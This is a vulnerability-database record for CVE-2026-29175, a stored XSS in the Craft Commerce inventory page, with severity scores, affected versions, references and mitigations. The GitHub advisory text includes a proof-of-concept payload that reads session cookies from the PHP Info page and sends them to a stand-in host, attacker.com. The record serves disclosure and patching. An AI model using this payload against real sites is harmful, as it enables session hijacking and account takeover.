{"id":"CVE-2026-29175","aliases":["CVE-2026-29175","GHSA-cfpv-rmpf-f624"],"related":[],"kind":"vulnerability","state":"published","title":"Multiple Stored XSS in Commerce Inventory Page Leading to Session Hijacking","summary":"Craft Commerce is an ecommerce platform for Craft CMS. Prior to 5.5.3, Stored XSS vulnerabilities exist in the Commerce Inventory page. The Product Title, Variant Title, and Variant SKU fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page. This vulnerability is fixed in 5.5.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Craft Commerce is an ecommerce platform for Craft CMS. Prior to 5.5.3, Stored XSS vulnerabilities exist in the Commerce Inventory page. The Product Title, Variant Title, and Variant SKU fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page. This vulnerability is fixed in 5.5.3.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nStored XSS vulnerabilities exist in the Commerce Inventory page. The **Product Title**, **Variant Title**, and **Variant SKU** fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.\n\nThis vulnerability enables **session hijacking** by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.\n\n## Proof of Concept\n\n### Permissions Required\n\n- Access the control panel\n- Access Craft Commerce\n- Create/Edit products\n\n### Steps to Reproduce\n1. Log in to the control panel\n2. Navigate to **Commerce → Products**\n3. Add a new product and set the **Title** field to: (replace `https://attacker.com`)\n    ```html\n    <img src=x onerror=\"fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\\/th>\\s*<td[^>]*>([\\s\\S]*?)<\\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})\">\n    ```\n4. Save the product\n5. Navigate to **Commerce → Inventory** (`/admin/commerce/inventory`)\n6. XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server\n\n### Cookie Extraction Details\nThe PHP Info page (`/admin/utilities/php-info`) displays cookie values (unmasked) in multiple locations:\n- `HTTP_COOKIE`\n- `Cookie` (used in this PoC)\n- `$_SERVER['HTTP_COOKIE']`\n- `$_COOKIE['<cookie-name>']`\n\n### Notes\n- The same vulnerability exists in **Variant Title** and **Variant SKU** fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields.\n- `$_COOKIE['CRAFT_CSRF_TOKEN']` is masked in PHP Info, but the unmasked value is available in the other parameters listed above.\n- This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.\n\n## Mitigation\n1. Sanitize product and variant fields when rendering in the inventory template\n2. Mask sensitive cookie values in the PHP Info utility page (similar to how `CRAFT_CSRF_TOKEN`, `CRAFT_SECURITY_KEY`, and `CRAFT_DB_PASSWORD` are already masked)","format":"markdown","source":"ghsa"},{"lang":"es","text":"Craft Commerce es una plataforma de comercio electrónico para Craft CMS. Antes de la 5.5.3, existen vulnerabilidades de XSS Almacenado en la página de Inventario de Commerce. Los campos Título del Producto, Título de la Variante y SKU de la Variante se renderizan sin el escape HTML adecuado, permitiendo a un atacante ejecutar JavaScript arbitrario cuando cualquier usuario (incluidos los administradores) ve la página de gestión de inventario. Esta vulnerabilidad está corregida en la 5.5.3.","source":"nvd"}],"published":"2026-03-10T18:23:42.000Z","modified":"2026-06-17T10:29:43.290Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":">= 5.0.0 < 5.5.3","status":"affected"}],"vendor":"craftcms","product":"commerce","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"5.0.0","status":"affected","fixed":"5.5.3"}],"ecosystem":"Packagist","package":"craftcms/commerce","purl":"pkg:composer/craftcms/commerce","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"5.0.0","fixed":"5.5.3"}],"vendor":"craftcms","product":"craft_commerce","cpe":"cpe:2.3:a:craftcms:craft_commerce:*:*:*:*:*:craft_cms:*:*","source":"nvd"}],"references":[{"url":"https://github.com/craftcms/commerce/security/advisories/GHSA-cfpv-rmpf-f624","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/craftcms/commerce/commit/9f0638a4fb29ed8295a463385a7cc49ec986e33a","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29175","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/craftcms/commerce","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-03-11T14:11:05.299Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-29175","url":"https://www.cve.org/CVERecord?id=CVE-2026-29175","licence":"CVE Terms of Use","modified":"2026-03-11T14:11:09.100Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-cfpv-rmpf-f624","url":"https://github.com/advisories/GHSA-cfpv-rmpf-f624","licence":"CC-BY-4.0","modified":"2026-03-13T04:22:16.605Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-29175","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29175","licence":"Public domain","modified":"2026-06-17T10:29:43.290Z"}],"updatedAt":"2026-11-25T22:59:15.651Z","epss":{"score":0.00295,"percentile":0.14608,"date":"2026-11-30T12:00:22.000Z"}}